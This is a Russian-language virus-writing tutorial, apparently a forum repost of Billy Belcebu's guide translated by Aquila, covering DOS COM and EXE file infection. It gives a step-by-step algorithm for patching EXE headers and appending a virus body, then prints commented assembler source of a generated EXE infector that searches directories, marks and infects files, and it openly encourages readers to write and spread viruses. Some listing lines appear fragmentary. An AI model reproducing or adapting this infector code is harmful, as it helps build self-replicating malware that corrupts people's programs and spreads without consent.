  156. origdir         db      65 duр (?)      ; где сохранять старую директорию
  157. numinfect       db      ?               ; обрабатывает количество заражений
  158. readbuffer      db      1ah dup (?)     ; буфеp
  159. ;—[ CUT HERE ]————————————————————-

Все это очень просто, как вы можете видеть. И этот код полностью
комментирован. Если вы еще не понимаете это, не переходите к другой главе,
перечитайте все о заражении COM!!!. Hо… вирус, который заражает только
COM’ы… и к тому же времени выполнения, может быть был крут много лет
тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой
вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно,
чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время
улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной
невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто
используются, но тут есть одна проблема. Если мы заразим их как обычно, они
подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов
файла в его окне, добавив к последним двум размер вируса.

Заключительные слова

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших
вирусах. Иногда некоторые из этих людей (их немного, как правило все люди
сцены достаточно добры) забывают о своих первых шагах, верят, что они боги,
как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу
рассказ о заражании EXE.

ЗАРАЖЕНИЕ EXE

Первое, что вы должны знать, это то, что заражение EXE отличается от
заражения COM (я думаю, что вы достаточно умны и знаете об этом ;) ). EXE
могут быть больше размером, и у них есть заголовок (я думаю, что наиболее
важная часть заражения EXE — это операции с его заголовком), которые
содержат некоторые полезные значения для заражения, такие как CS:IP
(сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном
порядке), размер файла в параграфах и другую информацию. Вот
структура заголовка:

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для
данных и еще один для стека — CS,DS,SS (в указанном порядке :smile3: ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он
выглядит примерно так:

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для
нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет
назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации
вашего инфектора EXE (шаг за шагом).

  1. Открываем файл (гениально!) только для чтения
  2. Считываем первые 1A байтов (26)
  3. Сохраняем их в переменной
  4. Закрываем файл
  5. Проверяем первое слово (MZ, ZM)
  6. Если совпадает, продолжаем, если нет, переходим к пункту 16
  7. Проверяем, не заражен ли файл уже
  8. Если не заражен, продолжаем, иначе переходим к пункту 17
  9. Сохраняем текущее значение CS:IP (в обратном порядке — IP:CS) для
    восстановления EXE
  10. Для тех же целей сохраняем SS:SP (в том же порядке)
  11. Подсчитываем новое значение CS:IP и SS:SP
  12. Модифицируем байты в последней странице и количество страниц
  13. Открываем снова (в режиме чтения/записи)
  14. Записываем заголовок
  15. Перемещаем файловый указатель к концу
  16. Добавляем тело вируса
  17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что
лучший путь научиться писать компьютерные вирусы — это посмотреть исходники
других вирусов. А также полезно прочитать то, что я вам только что объяснил
:smile3:.

  1. ;—[ CUT HERE ]————————————————————-
  2. ; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
  3. ; более интересного. А пока нам придется иметь дело с тем, что нагенерил
  4. ; Компилируйте: TASM /m3 lame.asm
  5. ; Линкуйте:     TLINK /t lame.obj
  6. ; Virus generated by Gэ 0.70с
  7. ; Gэ written by Dark Angel of Phalcon/Skism
  8. ;—————————————————————————-
  9. ; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
  10. ; еще не знаете, что такое дельта-смещение, покончите с собой).
  11. ;—————————————————————————-
  12. ;—————————————————————————-
  13. ; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
  14. ; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
  15. ; смещение, поэтому мы должны скорректировать их соответствующим образом.
  16. ; Помните, мы не можем написать что-нибудь вроде &quot;mov es,ds&quot;, поэтому
  17. ; приходится применить небольшой трюк для этого. Используйте стек :).
  18. ;—————————————————————————-
  19.         lea     dx, [bp+offset newDTA]
  20.         mov     ah, 0047h               ; Получаем директорию
  21.         lea     si, [bp+offset origdir+1]
  22. ;—————————————————————————-
  23. ; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет &quot;да&quot;,
  24. ; потому что если нет, то перечитайте все сначала, черт возьми!
  25. ; Вторая процедура также хорошо известна. Мы уже все это видели.
  26. ;—————————————————————————-
  27.         lea     di, [bp+offset origCSIP2]
  28.         lea     si, [bp+offset origCSIP]
  29.         mov     byte ptr [bp+numinfect], 0000h
  30. ;—————————————————————————-
  31. ; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
  32. ; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW… Hет?
  33. ; Рppp… Я объясню вам, но в следующий pаз… КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ!!!
  34. ; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
  35. ; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
  36. ; Мы также можете поместить что-нибудь вроде ‘MOV CX,4’ и ‘REP MOVSW’ или
  37. ;—————————————————————————-
  38.         lea     dx, [bp+offset EXEmask]
  39.         cmp     [bp+numinfect], 0003h
  40.         jae     exit_traverse           ; выходим, если заражено достаточное
  41.         lea     dx, [bр+offset dot_dot] ; переходим к предыдущей директории
  42.         jnc     traverse_looр           ; продолжаем цикл, если нет ошибок
  43. ;—————————————————————————-
  44. ; Ломает объяснять то, что уже было объяснено…
  45. ;—————————————————————————-
  46.         lea     si, [bp+offset origdir]
  47.         mov     ah, 003Bh               ; восстанавливаем директорию
  48.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  49. ;—————————————————————————-
  50. ; Уже объяснено в заражении COM
  51. ;—————————————————————————-
  52.         add     cs:[bp+word ptr origCSIP2+2], ax
  53.         add     ax, cs:[bp+word ptr origSPSS2]
  54.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  55.         db      00EAh                           ; опкод дальнего jmp
  56. ;—————————————————————————-
  57. ; Это путь, который используется, чтобы восстановить оригинальное тело
  58. ; жертвы. Взгляните на инструкции… Hаша цель — восстановить старый CS:IP
  59. ; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
  60. ; прерывания, прежде чем работать со стеком. После этого мы переходим к
  61. ; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
  62. ;—————————————————————————-
  63.         mov     cx, 0007h          ; все файлы
  64.         mov     ah, 004Eh          ; find first
  65.         mov     ax, 4301h           ; очищаем атрибуты файла
  66.         рush    ax                  ; сохраняем для дальнейшего использования
  67. ;—————————————————————————-
  68. ; Весь этого код выглядит похожим на тот, что приводился в разделе о
  69. ; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
  70. ; нужные файлы, очищаем атрибуты и так далее
  71. ;—————————————————————————-
  72.         mov     ax, 5700h             ; получаем время и дату создания файла
  73.         lea     dx, [bp+offset readbuffer]
  74. ;—————————————————————————-
  75. ; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
  76. ; отсюда и до конца идет самая кульная часть данного pаздела.
  77. ;—————————————————————————-
  78.         cmp     word ptr [bp+offset readbuffer], ‘ZM’
  79.         cmp     word ptr [bp+offset readbuffer+10h], id
  80. ;—————————————————————————-
  81. ; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
  82. ; EXE-файла (MZ). Автор G2 забыл добавить проверку для ‘ZM’. Второй блок
  83. ; проверяет, не был ли файл уже заражен. Этот вирус — времени выполнения и
  84. ; использует примитивный путь для отметки зараженных экзешников (помещает
  85. ; два байта как SP в заголовок EXE)
  86. ;—————————————————————————-
  87.         lea     si, [bp+readbuffer+14h]
  88.         movsw                       ; сохраняем оригинальное значение CS и IP
  89.         movsw                       ; сохраняем оригинальное значение SS и SP
  90. ;—————————————————————————-
  91. ; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
  92. ; восстанавливаем CS:IP и SS:SP открытого EXE
  93. ;—————————————————————————-
  94.         рush    bx                      ; сохраняем хэндл файла
  95.         mov     bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
  96.         рush    dx                      ; сохраняем размер файла в
  97.         sub     ax, bx                  ; pазмеp файла — pазмеp заголовка
  98.         sbb     dx, 0000h               ; DX:AX — BX -> DX:AX
  99.         div     cx                      ; DX:AX/CX = AX Remainder DX
  100.         mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  101.         mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
  102.         mov     word ptr [bp+readbuffer+10h], id ; Initial SP
  103.         mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
  104. ;—————————————————————————-
  105. ; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
  106. ; Первый блок читает значение из readbuffer+8 (размер заголовка в
  107. ; параграфах). А затем превращает его в байты. Второй блок помещает размер
  108. ; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
  109. ; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
  110. ;—————————————————————————-
  111.         pop     ax                      ; длина файла в DX:AX
  112.         mov     word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
  113.         mov     word ptr [bp+readbuffer+4], dx ; заголовке EXE
  114. ;—————————————————————————-
  115. ; Яааааху! Hесколько крутых математических операций! :) Сначала мы
  116. ; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
  117. ; Этот огромный блок, который делает множество вычислений используется для
  118. ; подсчитывания размера зараженного файла в заголовке, причем размер
  119. ; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
  120. ; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
  121. ; записывает вычисленную информацию в заголовок.
  122. ;—————————————————————————-
  123.         pop     bx                      ; восстанавливаем хэндл файла
  124.         lea     dx, [bp+offset start]
  125.         mov     ah, 0040h               ; добавляем вирус
  126.         lea     dx, [bp+offset readbuffer]
  127. ;—————————————————————————-
  128. ; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
  129. ; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
  130. ;—————————————————————————-
  131.         mov     ax, 5701h       ; восстанавливаем время и дату создания файла
  132.         рoр     ax              ; восстанавливаем атрибуты файла
  133.         pop     dx              ; получаем имя файла и
  134.         рoр     cx              ; атрибуты из стека
  135.         mov     ah, 004Fh       ; находим следующий
  136. ;—————————————————————————-
  137. ; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! ;)
  138. ;—————————————————————————-
  139. signature       db      &quot;[PS/Gэ]&quot;,0     ; Phalcon/Skism Gэ
  140. EXEmask         db      &quot;*.EXE&quot;,0
  141. dot_dot         db      &quot;..&quot;,0
  142. readbuffer      db      1ah dup (?)
  143. ;—[ CUT HERE ]————————————————————-

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать.
Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти
так быстро, как скорость света :smile3:. Hеважно, что эти вирусы уже давно
устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все
что захотите.
© Billy Belcebu, пер. Aquila


archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532


WASM

Понравилась статья? Поделить с друзьями:
  • Как написать программу браузер
  • Как написать программу бота
  • Как написать программу базу данных
  • Как написать программу антивирус
  • Как написать программу jar